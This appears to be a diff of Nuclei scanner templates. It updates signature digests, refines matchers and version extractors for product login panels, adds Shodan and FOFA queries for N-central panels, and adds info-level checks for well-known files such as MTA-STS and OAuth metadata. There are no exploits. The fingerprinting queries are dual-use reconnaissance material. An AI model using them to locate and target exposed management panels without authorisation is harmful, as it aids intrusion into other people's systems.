          - 'contains_any(body, "<title>Haivision Media Platform", "content=\"Haivision Network Video")'
        condition: and
-# digest: 4a0a00473045022100e812817ec1adced0257ff6db779c3f15548dd43d625a36dac3ab9f495f76d30e02203056709d66e1f2e90d20f7e2503542de9ddcd114c9c02bd3e8b841d2b3790951:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100be474a0e64d74534e27afc071d930869ed8224403405a74b839fa89cdedb61b1022100899edd1a73386206eae608fe229ec2c003fa01021f53159a0b67d19a84e2dc1e:922c64590222798bb761d5b6d8e72950
@@ -34,4 +34,4 @@ http:
        regex:

          - '(?i)"version":"([0-9.]+)"'
-# digest: 4a0a0047304502206229187fb91e6e4183e92558b1a82eb85e1d0072a79e5eff0dafcbced76ded59022100ce6efe7d20a0e9014ffc15fbf111ba438da26e9db1372721cb584caa78b296d4:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022022a1d7d067bd286f67ed77b8a590db1d5d35c905563c7fbe6ece42260a354e6702203405927d55f79b2b50808df4479d1d47bf23b503ca97fd627330434034aecad1:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+HYPERPLANNING\s+([0-9.\s\-]+)'
-# digest: 490a004630440220151874361f4e047643f7a818a8f60c0ca211638fa0e2d29952470045fef0ebbb022020fd74e8e23a18703947e0e873a65ab9549881971ea43a0bec15982fbf20ad4b:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201c422bce92c0efe1689d3330004c2843247d9d8447af5d24db3fa2f16c5e623c02207f935f25c1c3ca78e9e7ba13f9650d0fc45e0baac54a4a932bbbcdc3f1d5b44e:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100bceb93ff8ed92add05fd743907a6b269d50d5c1450f7bb41bef71d9ca230dcbe02200c4ccbf82fb7932e37d3c3bea4dca01d810676acc73366884114695b2823f88a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210081ab3a7909956ba2729a323d3db937c825658407de065c38293b118c2462e4b102201d4f103b35cfe475988f029af4317226f0779c02c9c820bf1a682ea95b374d01:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220324b4a3162c4846955f1a37c6171303ce21ca70e58b7eda625de42fd5a6c736702202b9599367e36971e7dd0239660fe1be4f5bf7b5c795444e6ab121e3a28063343:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022066a4d2255809ffeb997e36731a4549be18bfc2c0d7617e3f1349ef5e249b014902203205ab884db87b881589aeed8761e1c5b502f82609380c3fc847b0e21bd3d525:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
          - 'contains_all(tolower(body), "<title>web service</title>", "lorex")'
          - 'contains_any(body, "/LOREX_webplugin", "lorex_msg")'
        condition: or
-# digest: 4a0a004730450220191e92506773e54b76b7be3590041f7899201bee8ac5c28b0b5d2e03a183ed54022100a7fb86a02861854325265c7f7fd0c3ef23ae25e9fa03263c256ce121fc6b6378:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100825d670c7f54572466a5085c1681c40832e4bd5bff206e2b92e0a9930c39b26b02200234a8dcffd005867f496367b8128af75448ffe1ef92e28145befd032c625216:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100cb37442f1cba6f56f410df045279a0cdc0e2c55b134f031ccf6c32ebab9c03fb0220451f1dde64007eeef5b1fd863dc1e3e4fcecf073cce24bc32586678235e4a488:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a8d5f9656b6c9c4f7f3e2cdfb065d948354ba8f97cbb2aa2b8c87a06596d3b4d02200091eae97a6a6fd67656a5a1f82d57c3b3e6a5d84a5a6fb7a41f3b2af486190f:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,16 @@ info:
  metadata:
    verified: true
    max-request: 1
-    shodan-query: http.title:"N-central Login"
+    shodan-query:
+      - http.title:"N-central Login"
+      - http.favicon.hash:1519363246
+      - http.favicon.hash:1937353549
+      - "Set-Cookie: ncentral_version="
+    fofa-query:
+      - title="N-central Login"
+      - icon_hash="1519363246"
+      - icon_hash="1937353549"
+      - "Set-Cookie: ncentral_version="
    product: n-central
    vendor: n-able
  tags: panel,n-central
@@ -32,4 +41,10 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a0048304602210083fc8657e534579da09b0da6e201eff182f16d531b242c2d58f0571fb6716cfc022100e7a4ca2506964851130f8ef6bd88d27886af8407e21c9b6056d94cc55143201d:922c64590222798bb761d5b6d8e72950
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "ncentralVersion:\\s+\"([\\d\\.]+)\","
+# digest: 490a0046304402203ab16bfb2a9904eb00120e98537be3b21743d7b826bf9ed5f9ea99a97c6ed1350220061a0050c3b027357632591f2f8ffa992fad70c07ffb669520b2713e3453c7d1:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'name="version"\s+content="([0-9\.]+)"'
-# digest: 4b0a00483046022100aaaa04897a602e6a7f332f0bb7dec18909de6096229a740578dbf65b9db4c8cc022100a64ca3e32f4aced87a60647a7e2b983713de15d2c0e95a11421c75c04c4e283b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e0d8064ed84fba50c36331dee1e1e78be7c61ddcb61fcd6f9159c08a852f6f690220459dd68251ebf701e696513a380cedada7bca061f68b0020e2374846d32757d6:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - '_v=([0-9\.\-]+)'
-# digest: 4a0a004730450220508d9fa1ea7820ec81bed8853434dbf36688df42f2d2cf2d07feec9ddc33903e022100fdeff2434ca21ba3bccd9e465d64b4d694ad7076bdd20e03063dc10f6508f401:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bdab0afca55f2b30bebd5dd7b4dfe7df71908ee0caba4db9d50c4dcbd2f29e12022003ebb1082839850e256c5cda418d5737b7887f6ea9c5dd30c74eb3cad3a3a875:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(to_lower(body), "<title>ngsurvey enterprise survey software</title>", "ngsconfig.js")'
        condition: and
-# digest: 4a0a0047304502200de716c25140187eb539899c717c346ad92c370a2255494ff7bdb1b9a6e364af022100b90ee233c569c233cfa810b645824ca5605fcadddcbfa4e4f1d8de0665145a2b:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100cb7626ea89346f79f8269aa769757c28b78b50ef7be1ad31bb1d4a45b57c2552022100968e2a3ade3532ccdace0cdac1557bd95008fe03d440dd86dc9795ef2e7441b2:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
          - 'status_code == 200'
          - 'contains(body, "OpenSign")'
        condition: and
-# digest: 4a0a0047304502206a2556056c09ecd9099567ff3a9db1566cffbf75d23f21e734d2b9aece7b78a0022100aff1ae36dae2cc056a4ed46045e9949c89457f566a3a2279dfa64d4d2d0589b3:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a6fe69a5bc7513af11fb631a9e06aac7cab5a5ea35e5ad86425929fa033dd7702207f23791cde7dab85de503100dd0eb2356bed2ca4fb215a156868d056c13c16b1:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220305f45061c6d78ba3f00c518a3f20a1feae1e9bfabcc125c4bfecbb59e8c3a24022068f4491dc6d7735a4913bc60e052555605f3a6d32a771f2ceb44faa0e36680ab:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210092df8193dff6ea6db7b5b40bd99721b89bfc5b9ba1397a11df22b3a1dee21f39022100b870f41b39f359ab285e073bab452db7ff755cb478dc8b7bc6c24b8daf8a30b9:922c64590222798bb761d5b6d8e72950
@@ -51,4 +51,4 @@ http:
        group: 1
        regex:
          - '(?i)Login\s+-\s+Oracle\s+Access\s+Management\s+([a-z0-9]+)</title>'
-# digest: 4a0a0047304502201676feb28c5a65c882c61caf792686641260df91338f7d86c580e29b51a76250022100b9ff50d661068f7a4d65ad1f7bd6517456a610b7c7a055a0ac5a9e18a9758890:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008cf18d3af3134afa80fc6099738cf4b8e72d219e6a7ffedfa9f3b76feaa9989402202bcfbea578496c81ef6661a44fee71e1707aaca5d862d46a1e113757d282d741:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100e410b712ef5e8e71daf7096613ece4142e51ba44cc7fe286b74bc1abbe615231022039526ec195fba0a1158e4fa259788e447dd7f399ad6ac3b75893dd9340bca6f7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202231a4f93a2ee5a9154bba4396689d9b250334f680e0f3322dc1db3946f91e4b0221009780d5e9dcc34a201f6a18ceb99415d53bc2acf343fc8894a6dbe45be000a678:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
          - 'status_code == 200'
          - 'contains_all(body, "PhotoPrism", "login")'
        condition: and
-# digest: 4a0a00473045022100ce39c0006d4bff0c2e49cc455a63ddadff02165e80a7f8347feaaebd20873537022079ab123e86e6890bada6a2eaf93fa303dd103ae04436ece1550f8f6a5b346a28:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f4aef021f02cc23551e0d47aff25c10344ade1133fa3b6246375b442ae295e81022023b7c9046f65699e976d34f3a87d4da0f4c2f4fd82728a2a4f25ca029eacb540:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100be981e9b7f4f7cdb4686ac324ef27e6bdb9917fde169d4d6472bb7c9a2127fdc022029048517498bcb6f73c8fa780d6a28794016aec07005590b1219302b93b57cf7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220615ac33c385301899083bacb87e509ee336ba1bb4e0a4323b980121f974e3d23022100b10811ff9c53eeb06ab0e8b5a087b4614684a0906a736cc35c8e315b47ac43c3:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
          - '<title>Procore Log In</title>'
          - 'Log in to your Procore account using your email and password'
        condition: and
-# digest: 4a0a00473045022100bbe9857fd7e6f45f23bd3d4d3fca0561edd328bd07674458b88c2595759d92a2022045366d0fef1fabf56d93a533ba33090e0d01a2e0218622d989dba93307b354ab:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8e2df8ab065e591929ba972db80a6cd8bc7dd7061b56d149f709b38b1ba855c022100e9440ccfc14ba1c8cb4699367b7075fc712b9aa517d1a305fb8e4f3ff682e64b:922c64590222798bb761d5b6d8e72950
@@ -33,4 +33,4 @@ http:
        group: 1
        regex:
          - '(?i)Server:\s+PRONOTE\s+([0-9.\s\-]+)'
-# digest: 4a0a00473045022100f01fffd55a81d683b64b48f5e06ed53e715256f4f61c9221f58751c8dbf5499902202f1dd005294f8e21e3fcec694b765e27046b66956c6afc3d36eb28648718e8d8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210099099dc72b325f8305bd6c9db5586ff27f53de9396912e830d2ca2019e56740b022100eb9efdfca674e937b89b379e6b986735f45fe24ebfc7b13bd878d9c2c143f2b3:922c64590222798bb761d5b6d8e72950
@@ -32,4 +32,4 @@ http:
        group: 1
        regex:
          - 'V=([0-9.]+)'
-# digest: 4a0a004730450221009bfaf49b46b79be49cb9f7f78dae3e9926fdd753452eac2b0023e7a5e32b393f022043433c8489af35596231f61fe7add57e78ba7087771337bd9d75612643e472c6:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022034f7e572604728505ed000220302e4eb28a8f221706f4c75020380ae24e920270220503fa548adc2198fe8a06d3e711e7b1fab6df3498508cc3da1dcf598435bb363:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - 'Version\s+([0-9\.]+)\s+-'
-# digest: 4b0a00483046022100b719a6a75518af64be240af2e02302048107f3df0d44890c10d34d479f7d249f022100eb8deb6a68955582d204a7512693409698df59630f09ea50f9ecd9383a3cd8c1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220084fc7dff201f8f1ed9c15d137278946f378c52ad0c424eb70c7736ec22d9a33022100f5afd62a44d8794cd71cf8525a2c0a048b1e353f3faebf6b29f901c6515506d4:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ http:
        group: 1
        regex:
          - '"applicationVersion"\s*:\s*"([0-9.]+)"'
-# digest: 4a0a00473045022100a351106d1ff47b8dd074415ef2e7598bdda4bd131016b6d0737bb6809165fda902200d92a5bde4273823b9684f2b1249d7c2874398ad9cedae9cbb456a9b238cc99a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205b555f9a09ef1b5408f3674f2c8def47071d6ffda7c334b0fad3e5000a08f8b8022100e696a42d926a673e5e81f4144fb836eff605ea9b32bad361c074124f66359f35:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
      - type: dsl
        dsl:
          - "status_code==200 && (\"-608690655\" == mmh3(base64_py(body)))"
-# digest: 4a0a0047304502207c2f532aff94ab5532c9f38a1734af5ca8522127f34af7bdecc01efa7bec304f022100d5e91598ef9c6d38091428460813846443081f79298e0d088682a941c55b56fa:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d64c7d494a30acffb747d15c12f690e6a09c9921f229c29bbc9671e5e0c67d6102210082ae6e1092eda9c2fffd869a71d5375a61b8fbec85da90e57c23c45050c77c9c:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100e43638b78a83fe24b06ce9d1f92f502070ff093997a1efaf35a22fced06f442002206fa60de7d91013ef6edd723baa002568f9a75099e214bbc4256ec53d236ce497:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220576d9a7ece003c74eca0f0e1b59aa15e529c2363171b2a5e3bdb715d371ffb30022100fe2ebb79bce291d13f5c6ab0cfa90abcb4e8657193b77fac2db2a7b003d5ead1:922c64590222798bb761d5b6d8e72950
@@ -25,4 +25,4 @@ http:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "vince - high performance", "vince · open source web", "Welcome to Vince")'
        condition: and
-# digest: 4b0a004830460221009caa47bab2cbafe7f4b426c2c3c2d158739fcdc00ce8ed4d9991fffe0b8347bf022100d95428fa3e935e8f344fedc78885c637d2d31a695b74a7674b2eb87a05af1c69:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ed3be4479d0903097e4053bb2e385f20b9ae2178565f2ce79362c0a4b3feb84022053f3adbd7888ddb782da21d63be3b4cb148fd59b99a262b5084fc7f9a2d7cec8:922c64590222798bb761d5b6d8e72950
@@ -27,4 +27,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100fcd29873b96b6a717b0289435c923dc0e2471a3c7baadce9c1d5ff1fddd592d202206ba750b0f211839db5b82b3a8b910cb73fe8cc2cede64697bcfbe9834784d1b0:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022057ab025dcecbc2db2d7bf2b1ef2a16524c63ce8a2d9bb1aa14600bfb123a8c7a02204b7aff6d6b7c493cc6d0abaa663ca7b03ecf71f27ca85cf9b5fdfaf83ae0c901:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
        part: server
        words:
          - "wildix"
-# digest: 4b0a004830460221009dcf06a9be702fc86493b63ccc8e7575385d6a0f823038fc8b2061a7f8c997fb022100df77eb39a7180d6713b0ce1b4ee326aa06e3c4d943e5125dc9de41b21ed2cb6c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022063b494db0bf9b43276f8ce6dd0c776a8dbf31b9e07419fa50197393c7e678d28022100c8efa1c3818934912f5b11eaccd3c6be727a7992e4eecb222e0af030004ab2e7:922c64590222798bb761d5b6d8e72950
@@ -58,4 +58,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a198c3fbe45d413a1ed54c6b6e75c7be4148c4c2fdcae452b290ffd3ef84deec022100d3a321a0bf7fe03e69ba743bd4ec1a09b6318bc79e09346d0fd0112c61820db3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100837e8f042311bde717afba1be6c85522826a63b75d2c9e4c48ce4abcb619a24a0220533d10973649d33ffe81d6080d3db6d546aa60572cec9b34d0b2c2e209a04b95:922c64590222798bb761d5b6d8e72950
@@ -14,48 +14,43 @@ info:
 http:
  - method: GET
    path:
-      - "{{BaseURL}}/{{paths}}"
+      - "{{BaseURL}}{{paths}}"

    payloads:
      paths:
-        - ""
-        - "certsrv/"
-        - "pki/"
-        - "PKI/"
-        - "crl/"
-        - "CRL/"
-        - ".well-known/pki-validation/"
-        - "ocsp/"
-        - "CertEnroll/"
-        - "CertSrv/"
+        - "/"
+        - "/certsrv/"
+        - "/pki/"
+        - "/PKI/"
+        - "/crl/"
+        - "/CRL/"
+        - "/.well-known/pki-validation/"
+        - "/ocsp/"
+        - "/CertEnroll/"
+        - "/CertSrv/"

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 2
+
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "Certificate Services", "CRL Distribution Point", "OCSP Responder")'
-          - '!regex("^This is an OCSP responder.$", body)'
+          - '!regex("(?i)^\\s*This is an OCSP responder\\.?\\s*$", body)'
        condition: and

      - type: regex
        regex:
-          - 'CN=[A-Za-z0-9-]+-CA'
-          - '(?i)<a\s+href="([^"]+\.crl)"[^>]*>[^<]*\.crl<\/a>'
-          - '(?i)<a\s+href="([^"]+\.cer)"[^>]*>[^<]*\.cer<\/a>'
-          - '(?i)<a\s+href="([^"]+\.p7b)"[^>]*>[^<]*\.p7b<\/a>'
-          - '(?i)href="([^"]+\.crl)"'
-          - '(?i)href="([^"]+\.cer)"'
-          - '(?i)href="([^"]+\.p7b)"'
-        condition: or
+          - '\\bCN=[A-Za-z0-9-]+-CA\\b'
+          - '(?i)href\s*=\s*"[^"]+\.(?:crl|cer|p7b)"'

    extractors:
      - type: regex
        name: certificate_details
        regex:
-          - "CN=[A-Za-z0-9-]+-CA"
-          - "O=[A-Za-z0-9 ]+"
-          - "OU=[A-Za-z0-9 ]+"
-# digest: 490a004630440220275be7e096b281697f76f09c5b0b199aa3e8c66ff5351c343c51fec6e72a06fa02207e610a9715c8c54515e2184c68d6a49d3abbcc8869e9718dfe62c0186a8e5ddf:922c64590222798bb761d5b6d8e72950
+          - 'CN=[A-Za-z0-9-]+-CA'
+          - 'O=[A-Za-z0-9 ]+'
+          - 'OU=[A-Za-z0-9 ]+'
+# digest: 490a00463044022014d0f0a41702e21c11260d584c1c9ce66797b57af8d6f7c68d4b765a3a7c94f10220653fb1d7bfe7f69c249a6f755ddfabe34d4b8face6a5d80554964e601641bb7a:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100e7dbb9874952da30119079360e5b4f60a4be301f4723582541ada69ce853f71c022100f7313b4d656be0ded26cb1c2534057272eb58cfb2cff951863774cbd8af7c962:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b9ab39cca66e0a19893bb503cbb9dbbef79e1b5105a57934d774b4ddaa0c75f502210091acd339ca3a69731e025580e475ef89c55bc0f62508e2a2525f845d043ec2d4:922c64590222798bb761d5b6d8e72950
@@ -26,4 +26,4 @@ http:
          - "contains(body, 'android_app')"
          - "contains(content_type, 'application/json')"
        condition: and
-# digest: 4b0a00483046022100e1b31fc5a7b1e3ef5b9193570f673c5f1408b47960578ac7a20033b404303152022100f73ae110d913e9d5733bcfea1b15bb3da8517d7287e5d5cf4bc45c8e600a2f7f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200d293da9ee3562b3cbbe358887e84f4427f555813a3fd7feb52a61b43ad08349022100a43009d64a6d5df9f483bb7b9710388802af5a23df77fc523a31a55ad6cd8186:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,38 @@
+id: atproto-did-exposure
+
+info:
+  name: Well-Known ATProto DID
+  author: rxerium
+  severity: info
+  description: Detects AT Protocol DID reference used by Bluesky.
+  impact: |
+    Presence of this well-known resource can expose implementation details or policies.
+  reference:
+    - https://atproto.com/specs/did
+  metadata:
+    verified: true
+    max-request: 1
+    google-query: inurl:"/.well-known/atproto-did"
+  tags: well-known,atproto,bluesky,misc,identity,miscellaneous
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/atproto-did"
+      - "{{BaseURL}}/well-known-atproto-did"
+
+    redirects: true
+    stop-at-first-match: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'atproto'
+          - 'did:plc'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022100ac6bb0536d4061c2df41fcff77cebe17e96b07dfd43c0743384a7fa5a7479c0b022063b6e73fa4a5a2bd4a27c9d8c3c9ad586682fe9f721ca4ce9a088c171746d5ab:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
        name: discord-bot-invite
        regex:
          - "https?:\\/\\/discord\\.com\\/oauth2\\/authorize\\?client_id=([0-9]+)[^\\s\"']*"
-# digest: 4a0a0047304502207be8b0ae1c894f6b922ea4a9c89e7a548d940bd4488ebe9374d20b3eb415e045022100d9302158c8c7679a71fd9239b92220faf58dca4ddb4b4e0edc0648535f5b4828:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ee754cf5fa6d6f6b5a061d559f0600774e688d1031fb54e46a3d5175c434377502202f89613248d8675b6af7ae3c5cbee215e42fbf2fa8d13d929cbe31bea13722e9:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022100ccecd621cf7645adc5c24a4a2665d538cdcecdbeec3634e336415045e1e3dafa0220139640c311c142a2068342947e5cb07928759036fc33308dc23847b774e12ebe:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022000aaada2da27b8e9fa417174edf039fb74e26c4ae4185837afbbe4a8ec91392f022100e7d06183aeb705d952e8b2c305a5078d7b40b10d3efe44a6f1303470b0640dfa:922c64590222798bb761d5b6d8e72950
@@ -36,4 +36,4 @@ http:
        part: body
        regex:
          - "-----BEGIN PGP MESSAGE-----[\\s\\S]+?-----END PGP MESSAGE-----"
-# digest: 490a00463044022020bb7ce1b0b221995cfe933a64b5b6e32fe00877effbd10ca70e57599dc8dac002204a95287eecc8009f32c31c8a12b59c6fe37be2f35634db88366c18f96e876d48:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205ccf6db2abf1543b09913ade39bc65857e46e76285f3ea2b56f11ab42d0ef81e022100d62ab3fdae90af4a918d3615fdc6c8505b3c55612364fe48d9474d6b8caae2ed:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ http:
        part: header
        regex:
          - '(?i)max-forwards:\s+([0-9]+)'
-# digest: 490a00463044022052b51038cfa4e54d929f0c7b8bbc5b084707a304c39d628aa0d64619a142499f02200423ad0530bda890b41061da504c1294841581deffb14deac67281c09cf53724:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022057228f37d431f985f6c5b34620a7af8b04c131be11406a81bd4aeeb242db92c202205da68cd1286d993e0b7a1091954c9f68f1328f7544f6ca260e83e05942ed4d81:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: mta-sts-exposure
+
+info:
+  name: Well-Known MTA-STS Policy
+  author: rxerium
+  severity: info
+  description: |
+    Detects SMTP MTA-STS policy file (RFC 8461).
+  impact: |
+    Presence of this well-known resource can expose implementation details or policies.
+  reference:
+    - https://www.rfc-editor.org/rfc/rfc8461
+  metadata:
+    verified: true
+    max-request: 1
+    google-query: inurl:"/.well-known/mta-sts.txt"
+  tags: well-known,email,security,rfc8461,miscellaneous,misc
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/mta-sts.txt"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "version: STS"
+          - "mode:"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 490a0046304402201b6d497d8c96bd623abb8a0eb28394523aefded6f2914061fd57f62c7134591f02203d99519fd8f7d61306a8b2c3c97eb4fbc50a528eb7009cc21fd959ebc27a0a17:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,40 @@
+id: nostr-json-exposure
+
+info:
+  name: Well-Known Nostr JSON
+  author: rxerium
+  severity: info
+  description: |
+    Detects Nostr public key discovery JSON.
+  impact: |
+    Presence of this well-known resource can expose implementation details or policies.
+  reference:
+    - https://github.com/nostr-protocol/nips/blob/master/05.md
+  metadata:
+    google-query: inurl:"/.well-known/nostr.json"
+  tags: well-known,nostr,miscellaneous,misc
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/nostr.json"
+
+    max-redirects: 1
+    redirects: true
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"names": {'
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100d67d5f83c3ad469c5dee347b0975b48c8572ecbd567d5a1ef007b3d068b1c8aa022100ed9e15a782329c8083c158e9b3c24034558c6ad8a65ac5d11f8c809e3e30ff04:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: oauth-authorization-server-exposure
+
+info:
+  name: Well-Known OAuth Authorization Server Metadata
+  author: rxeriums
+  severity: info
+  description: |
+    Detects OAuth 2.0 Authorization Server metadata (RFC 8414).
+  impact: |
+    Presence of this well-known resource can expose implementation details or policies.
+  reference:
+    - https://www.rfc-editor.org/rfc/rfc8414
+  metadata:
+    verified: true
+    max-request: 1
+    google-query: inurl:"/.well-known/oauth-authorization-server"
+  tags: well-known,oauth,oidc,security,rfc8414,miscellaneous,misc
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/oauth-authorization-server"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "issuer"
+          - "authorization_endpoint"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a00473045022015612b7d6c74d613029dd0673e72668fa302e804393ffc3a5c7433b786913068022100d86161cf339d0e260389e4ef1753c6d6b044c234b517a1cd42d6da37041bf953:922c64590222798bb761d5b6d8e72950
@@ -28,4 +28,4 @@ http:
        group: 1
        regex:
          - '(?i)onion-location:\s*(https?://[a-z0-9]+\.onion)'
-# digest: 4b0a0048304602210089fde018df3c94a3ed228f161997531359b066c37bc471775ff787bc37f0a7c1022100938333b3b8bad185e6799b57157251e8c1f1c0c9e010912456698033fde7904a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502205fc893232a02f2da115889aeeabfb330d39e54be6d2f1afeee34cfd7b449a6cd022100d8783d36b829208595237855adcc767c3736cd0f607929970d2ae9a9a4c503ba:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,39 @@
+id: pki-validation-exposure
+
+info:
+  name: Well-Known PKI Validation Directory
+  author: rxerium
+  severity: info
+  description: |
+    Detects CA/B Forum PKI validation artefacts directory.
+  impact: |
+    Presence of this well-known resource can expose implementation details or policies.
+  reference:
+    - https://www.namecheap.com/support/knowledgebase/article.aspx/10025/68/how-to-complete-httpbased-validation-upload-a-validation-file-option/
+  metadata:
+    verified: true
+    max-request: 1
+    google-query: inurl:"/.well-known/pki-validation/"
+  tags: well-known,pki,certificate,validation,miscellaneous,misc
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/pki-validation/"
+      - "{{BaseURL}}/well-known/pki-validation/"
+
+    redirects: true
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "pki-validation"
+          - "Parent Directory"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450220670ecdab87e8f35fe567b14e278462af341b81c987805dac8d2746d0be6b9bbc02210083d2e7366fcf1da4b5ff40639eb9f15862a0563a890fb61669d0c4ed7752ca0c:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450220452eb2514dc648d51e918241007fc4f2c28a9f049d68652896c91856b7922272022100e3de95948250638640e7a15b1eaf0e5fd37787f1f00d07713f625eb45e91b156:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022047c9a45e4ca7ff57b3b5a371c74ef938f18747531ebe2eac82165754a35c1c0b022100c132f056fbfceca62b5021d3f60230bd47a83b62873f2ca4902e2ac7f13239fb:922c64590222798bb761d5b6d8e72950
@@ -37,4 +37,4 @@ http:
        part: body
        regex:
          - "magnet:\\?xt=urn:btih:[a-zA-Z0-9]*[^\"'\\s<]*"
-# digest: 490a004630440220199f1cf150c71aabb70ed24373d211bfddef270c8470d48abe9d91485dfb0958022011797ffe7c9023644535170fcca53b874c693d18912218634059b2dc2c676f97:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220532610ef2dccf6f481ffb2c371f9fc44d3dba85c18635e0c2392c83fb1eb416a02202692cf9918ca09770944fcecfe780069a38725d4db37c68e913768a42ee7fecf:922c64590222798bb761d5b6d8e72950
@@ -29,4 +29,4 @@ http:
      - type: status
        status:
          - 200
